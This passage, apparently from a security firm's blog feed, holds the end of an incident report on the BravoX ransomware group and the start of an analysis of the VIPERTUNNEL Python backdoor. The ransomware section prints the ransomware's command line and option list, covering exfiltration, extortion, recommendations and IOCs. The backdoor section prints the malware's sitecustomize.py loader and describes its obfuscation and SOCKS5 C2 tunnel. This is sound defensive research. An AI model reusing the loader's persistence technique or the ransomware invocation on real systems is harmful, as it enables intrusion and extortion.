&lt;p&gt;Before deploying these tools, however, the threat actors first took the more straightforward route and attempted to disable Microsoft Defender via its user interface, because sometimes, the easiest way around security is simply asking it to stand down.&lt;/p&gt;
&lt;h2&gt;Exfiltration&lt;/h2&gt;
&lt;p&gt;For exfiltration, the threat actors reached for a familiar favourite - Rclone. A tool that has earned quite a reputation among threat actors for fairly obvious reasons. Its versatility and seamless integration with a wide range of cloud services make it an ideal choice for quietly moving data out of compromised environments. By blending in with legitimate traffic, Rclone allows operators to package and ship sensitive data off-site with minimal friction - efficient, low-profile, and very much in line with the playbook. Generously, BravoX even shared the volume of stolen data directly in the ransom note, specifying it in gigabytes. However, as is often the case with such figures, a certain degree of inaccuracy should be expected.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;In terms of impact, the threat actors stuck to familiar territory. Virtual servers had their VMDKs encrypted - a common approach among ransomware groups, and one that tends to make life unnecessarily complicated for DFIR teams. Physical servers, meanwhile, were encrypted at the operating system level, using a conveniently named &lt;code&gt;win.exe&lt;/code&gt;, not a masterpiece of creativity, but evidently sufficient for the task at hand. After the encryption routine finished, a ransom note named &lt;code&gt;00_Recovery_Notes.txt&lt;/code&gt; was placed on the systems. Encrypted files were appended with the extension &lt;code&gt;.bx-0000&lt;/code&gt;, clearly marking affected data and serving as a reliable indicator of compromise.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\&amp;lt;REDACTED&amp;gt;\Desktop\h\win.exe --token &amp;lt;REDACTED&amp;gt; --path-only -p \\&amp;lt;REDACTED&amp;gt;\Transfer --no-elevate`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 6: Execution of the Ransomware&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-t, --token       build token
--path-only       shortcut for --no-shadow-rm --no-recycle-wipe --no-drives --no-smb
-p, --path        enqueue path
--no-elevate      disable auto elevation

--no-shadow-rm    disable shadow copies remove
--no-recycle-wipe disable recycle bin wipe
--no-drives       disable local drives encrypt
--no-smb          disable smb encryption
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 7: Options used for the Ransomware&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Negotiation &amp;amp; Extortion&lt;/h1&gt;
&lt;p&gt;The ransom note provides detailed instructions on how to get in touch with the threat actors:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download and install Tor Browser&lt;/li&gt;
&lt;li&gt;Open one of the links in Tor Browser: &lt;code&gt;http://&amp;lt;REDACTED&amp;gt;.onion&lt;/code&gt;, &lt;code&gt;http://&amp;lt;REDACTED&amp;gt;.onion&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Create an account; to do this, click the &quot;Sign up&quot; button, specify your Email, generate or come up with a password, insert the token, and then click the &quot;Submit&quot; button.&lt;/li&gt;
&lt;li&gt;Your token: &lt;code&gt;&amp;lt;REDACTED&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For the next login, you will need your email and password, so make sure to save them.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Also mentioned in the ransom note - the services they offer:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decrypt 3 of any files for free as proof.&lt;/li&gt;
&lt;li&gt;Provide an effective decryptor for the entire network.&lt;/li&gt;
&lt;li&gt;Confidentially delete all your data from our servers.&lt;/li&gt;
&lt;li&gt;Give recommendations for closing the vulnerabilities.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Upon first login to the negotiation portal, victims are immediately greeted with a “discount” accompanied by a countdown timer - yeah, already a small win!
The platform itself appears surprisingly modern, featuring various automated elements such as timers to keep the pressure consistently high.
As seen with other ransomware groups, non-payment initially results in the organisation being listed on the data leak site, with actual data publication following at a later stage. BravoX outlines this escalation in three distinct phases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Private: Available only by provided link for Support and you&lt;/li&gt;
&lt;li&gt;Pre-release: Full post about your company published without files&lt;/li&gt;
&lt;li&gt;Release: All your data available for everyone in our public blog&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In a somewhat “customer-friendly” twist, victims are even given the opportunity to preview the upcoming blog post via a private link before publication. The negotiation platform also includes several features clearly designed to benefit the threat actors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logins of the victim are logged - they see when you log in, keep that in mind.&lt;/li&gt;
&lt;li&gt;The threat actors can edit their chat messages after the fact, of course, to their advantage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/BravoX_chatroom.png&quot; alt=&quot;BravoX - Chatroom&quot; /&gt;
&lt;em&gt;Figure 2: BravoX - Negotiation Platform&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As soon as BravoX realised that no agreement would be reached, they shifted to a far more aggressive stance, persistently attempting to establish contact and push the deal forward. They even accepted our offer, which they had declined in the first place, and changed their answer in the chat accordingly. They used tactics such as mail bombing and reached directly out to employees of the affected organisation via LinkedIn messages, because when subtlety fails, persistence takes over. In such cases, keep cool; they will eventually stop it.&lt;/p&gt;
&lt;h1&gt;Recommendations&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Know your attack surface:&lt;/strong&gt; All exposed services and ports should be identified, properly hardened, protected with MFA, and access should be limited to only necessary users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch management:&lt;/strong&gt; Prioritise timely patching of internet-facing systems and critical vulnerabilities, especially on edge devices.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Least privilege:&lt;/strong&gt; Enforce the principle of least privilege by restricting user and service permissions to only what is strictly necessary, minimising the impact of potential compromises.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MDR (Managed Detection and Response):&lt;/strong&gt; Deploy EDR/XDR solutions across all endpoints and ensure continuous 24/7 monitoring to enable rapid detection and response to suspicious activity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup strategy:&lt;/strong&gt; Maintain offline, immutable backups and regularly test restoration procedures to ensure recovery in the event of ransomware.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat hunting:&lt;/strong&gt; Regularly perform proactive threat hunting focused on known attacker TTPs, especially for signs of persistence and lateral movement.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;The BravoX ransomware campaign highlights that modern ransomware operations do not necessarily rely on novel techniques, but rather on the effective combination and adaptation of well-known methods. By leveraging familiar tools and tactics, ranging from credential harvesting and RDP-based lateral movement to scheduled tasks for persistence, the threat actors demonstrated a structured and deliberate approach. What sets this campaign apart is not innovation itself, but the way these techniques were tailored and orchestrated, including the use of covert access channels such as Tor hidden services and SOCKS tunnelling to maintain long-term, stealthy access.&lt;/p&gt;
&lt;p&gt;The campaign’s impact, including widespread encryption of virtual and physical systems as well as data exfiltration, underscores the continued effectiveness of double extortion strategies. At the same time, the shiny data leak site and neatly designed negotiation platform, paired with almost childlike persistence in pursuing payment, send somewhat mixed signals regarding the overall professionalism of the operation.&lt;/p&gt;
&lt;p&gt;Organisations should take this as a reminder that defending against such campaigns requires a strong focus on fundamentals. This includes securing exposed services, enforcing multi-factor authentication, monitoring for suspicious authentication and lateral movement activity, and ensuring comprehensive visibility across endpoints and networks. Strengthening detection capabilities around common attacker behaviours, as well as regularly reviewing and testing incident response processes, remains essential for identifying and disrupting these attacks at an early stage.&lt;/p&gt;
&lt;h1&gt;Indicators of Compromise (IOCs)&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;C2 Assets&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;91[.]222[.]174[.]96&lt;/td&gt;
&lt;td&gt;IP Address of Threat Actors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;91[.]222[.]174[.]120&lt;/td&gt;
&lt;td&gt;IP Address of Threat Actors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64[.]94[.]85[.]76&lt;/td&gt;
&lt;td&gt;IP Address of Threat Actors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45[.]61[.]136[.]225&lt;/td&gt;
&lt;td&gt;Host of Threat Actors (SSH Tunnel)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WIN-3P5JQGGAS0L&lt;/td&gt;
&lt;td&gt;Hostname of Threat Actors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;69810693C1FBFF7&lt;/td&gt;
&lt;td&gt;Hostname of Threat Actors&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Staging Directories&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;C:\Temp&lt;/td&gt;
&lt;td&gt;This directory was used to download and run various scripts, tools, and malware.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C:\Windows&lt;/td&gt;
&lt;td&gt;This directory was used to download and execute various tools and malware.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C:\Windows\wintne&lt;/td&gt;
&lt;td&gt;This directory was used to download and execute Tor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C:\Users&amp;lt;REDACTED&amp;gt;\Music&lt;/td&gt;
&lt;td&gt;This directory was used to download and execute various tools.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool Name&lt;/th&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Advanced_IP_Scanner_2.5.4594.1.exe&lt;/td&gt;
&lt;td&gt;26d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dmw.exe&lt;/td&gt;
&lt;td&gt;718843e370a54fb55002def4f5f9e5b2cd85074f43c2bb52195f889371c0fb2f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Killer.exe&lt;/td&gt;
&lt;td&gt;fd7752ec39f9c73bf330cfdb53691cf89f3e316c81c7102566df51430e1bfed5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;putty.exe&lt;/td&gt;
&lt;td&gt;16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rclone.exe&lt;/td&gt;
&lt;td&gt;aaa647327ba5b855bedea8e889b3fafdc05a6ca75d1cfd98869432006d6fecc9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System.exe&lt;/td&gt;
&lt;td&gt;6c176e9c2a7eaf4eb26ee08deadba88ba39a14cba064f946d2722718ac1b57f8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tor.exe&lt;/td&gt;
&lt;td&gt;fa3b6b5ed9ea44aa91e7904081745b4af63a8e322e8090eaa7e303ce68247e9c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;win.exe&lt;/td&gt;
&lt;td&gt;f6a96e19344b3f9bd2ac9c47737552243b43bd11663cf308c04b03a6510bbc10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vulndriver.sys&lt;/td&gt;
&lt;td&gt;ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Mitre ATT&amp;amp;CK Mapping&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;MITRE ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1133&lt;/td&gt;
&lt;td&gt;External Remote Services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1059.001&lt;/td&gt;
&lt;td&gt;Command and Scripting Interpreter: PowerShell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1059.003&lt;/td&gt;
&lt;td&gt;Command and Scripting Interpreter: Windows Command Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1078.002&lt;/td&gt;
&lt;td&gt;Valid Accounts: Domain Accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1053.005&lt;/td&gt;
&lt;td&gt;Scheduled Task/Job: Scheduled Task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1211&lt;/td&gt;
&lt;td&gt;Exploitation for Defense Evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1562.001&lt;/td&gt;
&lt;td&gt;Impair Defenses: Disable or Modify Tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;T1003.001&lt;/td&gt;
&lt;td&gt;OS Credential Dumping: LSASS Memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;T1135&lt;/td&gt;
&lt;td&gt;Network Share Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1087.002&lt;/td&gt;
&lt;td&gt;Account Discovery: Domain Account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1018&lt;/td&gt;
&lt;td&gt;Remote System Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1083&lt;/td&gt;
&lt;td&gt;File and Directory Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;T1021.001&lt;/td&gt;
&lt;td&gt;Remote Services: Remote Desktop Protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Collection&lt;/td&gt;
&lt;td&gt;T1005&lt;/td&gt;
&lt;td&gt;Data from Local System&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1560&lt;/td&gt;
&lt;td&gt;Archive Collected Data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1048&lt;/td&gt;
&lt;td&gt;Exfiltration Over Alternative Protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;T1486&lt;/td&gt;
&lt;td&gt;Data Encrypted for Impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1490&lt;/td&gt;
&lt;td&gt;Inhibit System Recovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;T1529&lt;/td&gt;
&lt;td&gt;System Shutdown/Reboot&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded><author>Florian Scheiber</author></item><item><title>Slithering Through the Noise - Deep Dive into the VIPERTUNNEL Python Backdoor</title><link>https://labs.infoguard.ch/posts/slithering_through_the_noise/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/slithering_through_the_noise/</guid><description>This article provides a comprehensive summary of our research into the VIPERTUNNEL Python backdoor, including infrastructure hunting and showcasing the evolution of the code.</description><pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;During a recent &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonforce&quot;&gt;DragonForce&lt;/a&gt; ransomware engagement, we identified several artefacts indicative of anomalous behaviour inconsistent with typical campaign activity.
During a persistence review, we aggregated Autoruns output from all endpoints to identify anomalies. A scheduled task named &lt;code&gt;523135538&lt;/code&gt; was identified, configured to execute &lt;code&gt;C:\ProgramData\cp49s\pythonw.exe&lt;/code&gt; without command-line arguments.
Executing &lt;code&gt;pythonw.exe&lt;/code&gt; without a script path or &lt;code&gt;-c&lt;/code&gt; argument is atypical in legitimate Windows environments. Although DLL sideloading was initially suspected, analysis of the containing directory indicated a different persistence mechanism.
Within the directory, we found &lt;code&gt;C:\ProgramData\cp49s\Lib\sitecustomize.py&lt;/code&gt;. In Python, this module &lt;a href=&quot;https://docs.python.org/3/library/site.html&quot;&gt;auto-imports&lt;/a&gt; at startup. Placing malicious code here ensures it runs whenever &lt;code&gt;pythonw.exe&lt;/code&gt; starts, without command-line input.
Analysis of &lt;code&gt;sitecustomize.py&lt;/code&gt; clarified why the absence of command-line arguments was sufficient. The script leverages ctypes to invoke Python C API functions and infer its runtime execution context:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import runpy, os, sys, ctypes
a = ctypes.c_int()
p = ctypes.POINTER(ctypes.c_wchat_p)()
ctypes.pythonapi.Py_GetArgcArgv(ctypes.byref(a), ctypes.byref(p))
if a.value == 1:
    d = os.path.dirname(sys.executable)
    t = os.path.join(d, &quot;b5yogiiy3c.dll&quot;)
    runpy.run_path(t, run_name=&apos;__main__&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;code&gt;Py_GetArgcArgv&lt;/code&gt;, the script checks argc. An argc of 1 (just pythonw.exe) means no command-line input. Under this, it locates &lt;code&gt;b5yogiiy3c.dll&lt;/code&gt; in &lt;code&gt;C:\ProgramData\cp49s&lt;/code&gt; and runs it via &lt;code&gt;runpy&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Analysis of b5yogiiy3c.dll&lt;/h1&gt;
&lt;p&gt;The file &lt;code&gt;b5yogiiy3c.dll&lt;/code&gt; is an python script masquerading as a dynamic link library, with several layers of obfuscation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/file_dll.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The sections below detail the techniques used and the steps to recover the original Python source code.&lt;/p&gt;
&lt;h2&gt;Layers of obfuscation&lt;/h2&gt;
&lt;p&gt;The contents of &lt;code&gt;b5yogiiy3c.dll&lt;/code&gt; was heavily obfuscated with layered abstraction, obscuring its behaviour. Analysis required manually reversing these layers. The sections below detail the techniques used and the steps to recover the original Python source code. The import statements hint at the script&apos;s purpose, enabling capability assessment before analysing obfuscated logic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/imports.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some modules outside the Python Standard Library are embedded in &lt;code&gt;C:\ProgramData\cp49s\&lt;/code&gt; to ensure reliable execution without requiring pip. The cryptographic primitives—hash functions (&lt;strong&gt;blake3&lt;/strong&gt;, &lt;strong&gt;SHA256&lt;/strong&gt;, &lt;strong&gt;hashlib&lt;/strong&gt;), symmetric ciphers (&lt;strong&gt;AES&lt;/strong&gt;, &lt;strong&gt;ChaCha20&lt;/strong&gt;), encoding tools (&lt;strong&gt;base64&lt;/strong&gt;, &lt;strong&gt;zlib&lt;/strong&gt;), and &lt;strong&gt;sys&lt;/strong&gt;—highlight the script’s purpose, with unused &lt;strong&gt;os&lt;/strong&gt; likely due to code reuse. This setup suggests a loader decrypts and stages a secondary payload. The script then masks function names and core Python calls with random variables to thwart static analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/function_alias_1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./images/function_alias_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Both screenshots show imported methods assigned to variables, with &lt;code&gt;zlib.decompress&lt;/code&gt; prepared for later to handle compressed payloads. It also uses &lt;code&gt;base64.b85decode&lt;/code&gt;, indicating Base85 encoding, which has a higher density and can bypass systems focused on standard Base64 patterns.
Further analysis identifies two key decoding functions forming the core translation layer. Since the script contains little cleartext, these routines are the only mechanism to convert obfuscated blobs into executable logic. One reverses Base85 encoding, and the other converts integers to strings.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/decode_function.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Below are deobfuscated decoding functions, preserving their original logic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/decode_function_decoded.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tracing the script’s control flow leads to the final obfuscated payload at the end of the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/eof_orig.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Below are the deobfuscated decryption functions, preserving their original logic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/eof_decoded.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A large, high-entropy blob serves as the encoded payload. This blob is fed to &lt;code&gt;WgGsgQuaeeYg7e()&lt;/code&gt;, which decodes and decrypts it using helper functions.
The payload is processed with &lt;code&gt;compile()&lt;/code&gt;, using a synthetic filename (&lt;code&gt;&amp;lt;jK6xvQeYbpkDD&amp;gt;&lt;/code&gt;) and &lt;code&gt;exec&lt;/code&gt; mode, then executed immediately. This keeps the next-stage logic in memory, reducing detection risk.&lt;/p&gt;
&lt;p&gt;The decryption function employs control-flow flattening, which makes manual analysis more difficult. It runs in a while True loop, with a state variable controlling flow, updated each step instead of following a linear sequence.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/control_flow_decryption.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Each subsequent stage follows the same pattern, just with different payloads, totalling three obfuscation layers before reaching the final payload.
A public unpacker for this obfuscation framework is available from &lt;a href=&quot;https://github.com/eSentire/iocs/blob/main/ShadowCoil/shadowcoil_unpacker.py&quot;&gt;eSentire&lt;/a&gt;. However, in this case, the implementation differs slightly, and the unpacking strategy used by that script no longer works.&lt;/p&gt;
&lt;h2&gt;The Final Stage&lt;/h2&gt;
&lt;p&gt;After removing three obfuscation layers, the payload was recovered. The script creates a &lt;strong&gt;SOCKS5&lt;/strong&gt; proxy with an outbound tunnel to a hardcoded C2 server. While default C2 parameters and credentials are embedded, the proxy can also accept alternate C2 addresses via command-line arguments.  Due to the incident&apos;s age, no other C2 endpoints were observed in our telemetry.
The proxy uses port &lt;code&gt;443&lt;/code&gt; for outbound connections, blending with typical HTTPS traffic to evade detection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/final_stage.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The payload includes three classes: &lt;code&gt;Wire&lt;/code&gt;, &lt;code&gt;Relay&lt;/code&gt;, and &lt;code&gt;Commander&lt;/code&gt;. The Commander class inherits from &lt;code&gt;threading.thread&lt;/code&gt;, serves as the main control thread, performs the initial C2 handshake, and spawns Relay instances as needed.
The Relay class implements SOCKS5 proxy logic, mediating data between the C2 endpoint and local network once instantiated by Commander. The Wire class supports this by managing socket abstractions and encapsulating tunnel data.
The modular design supports concurrent proxy sessions, enabling scalable traffic relay.&lt;/p&gt;
&lt;h1&gt;Further Hunting&lt;/h1&gt;
&lt;h2&gt;Attribution&lt;/h2&gt;
&lt;p&gt;We assess that the Python backdoor is linked to UNC2165 and EvilCorp, according to &lt;a href=&quot;https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf&quot;&gt;Google Threat Horizons&lt;/a&gt; and &lt;a href=&quot;https://www.guidepointsecurity.com/blog/ransomhub-affiliate-leverage-python-based-backdoor/&quot;&gt;GuidePoint Security&lt;/a&gt; research. Its SOCKS5 tunnelling and modular design match documented VIPERTUNNEL traits. Often used as a follow-on payload from &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates&quot;&gt;FAKEUPDATES&lt;/a&gt; infections, it serves for persistence and network pivot. Such access is usually monetized or sold to ransomware groups like &lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/actor/ransomhub&quot;&gt;RansomHub&lt;/a&gt;. In this case, ransomware activity was linked to DragonForce, but there&apos;s insufficient evidence to confirm VIPERTUNNEL&apos;s access was transferred or sold to them.&lt;/p&gt;
&lt;h2&gt;Same Obfuscation, different samples&lt;/h2&gt;
&lt;p&gt;Threat hunting uncovered multiple samples using the same obfuscation framework to deliver &lt;code&gt;ShadowCoil&lt;/code&gt; (also known as &lt;code&gt;COILCAGE&lt;/code&gt; or &lt;code&gt;RATTLEGRAB&lt;/code&gt; by Google), a Python credential-stealing malware.
&lt;a href=&quot;https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool&quot;&gt;eSentire&lt;/a&gt; reports that ShadowCoil targets Chromium-based browsers such as Chrome and Edge; however, it has also been found to extract credentials from Firefox, indicating ongoing development to expand its reach.
The overlap suggests ViperTunnel and ShadowCoil are from the same former RansomHub affiliates.
They share a multi-stage packer—likely a private utility. This obfuscation is tied to the activity cluster, making its logic a strong indicator of their operation, whether it’s a proxy or credential stealer. One notable difference in the obfuscation is that the ShadowCoil samples include additional anti-debugging checks, as illustrated in the following screenshot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/shadowcoil_debug_check.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The check for TracerPid in &lt;code&gt;/proc/self/status&lt;/code&gt; detects if a process is traced, a Linux-specific anti-debugging technique. Its inclusion conflicts with the script&apos;s Windows focus on browser paths for Chrome, Edge, and Firefox. Errors on Windows—lacking /proc-are suppressed due to the try/except block, allowing execution to continue. This suggests the obfuscation framework is cross-platform. While ShadowCoil and ViperTunnel payloads target Windows, Linux anti-debugging hints at future Linux malware. The modular design allows code reuse across OSes, even if the payload is OS-specific.&lt;/p&gt;
&lt;h1&gt;Clustering&lt;/h1&gt;
&lt;p&gt;Significant changes in code logic and obfuscation require a clear timeline of the backdoor’s evolution.
Establishing a reliable timeline depends on correlating data points, mainly hardcoded C2 infrastructure and external metadata.
C2 communication shows active deployment periods, but VirusTotal upload timestamps and domain registration records help fill gaps.
We first present significant changes in the use of obfuscation and code logic to highlight development efforts and then use these clusters to chart chronological development.
Clustering analysis found four variants of the final payload.
Though they all establish a tunnel, differences in structure and implementation indicate iterative development.
All samples used the same hardcoded credentials: &lt;code&gt;AnyUser / AnyPassword&lt;/code&gt;.
Based on the following clustering, the estimated timeframes for each group are as follows&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Group&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Timeframe&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Evidence Source&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Early Development&lt;/td&gt;
&lt;td&gt;December 2023&lt;/td&gt;
&lt;td&gt;VirusTotal Upload Timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Adopting of public Tooling&lt;/td&gt;
&lt;td&gt;September 2024&lt;/td&gt;
&lt;td&gt;VirusTotal Upload Timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Refinement &amp;amp; Debugging&lt;/td&gt;
&lt;td&gt;December 2024 - September 2025&lt;/td&gt;
&lt;td&gt;VirusTotal Upload Timestamps + Domain Registrations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modern Production Variant&lt;/td&gt;
&lt;td&gt;September 2025 - December 2025&lt;/td&gt;
&lt;td&gt;VirusTotal Upload Timestamps + Domain Registrations + Archive Timestamps + Own Cases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;An Overview of the clustering result, including chronological information, can be found in the following timeline.
This timeline exclusively includes C2 servers that have been explicitly hardcoded within the observed samples.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/timeline.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Early Development&lt;/h2&gt;
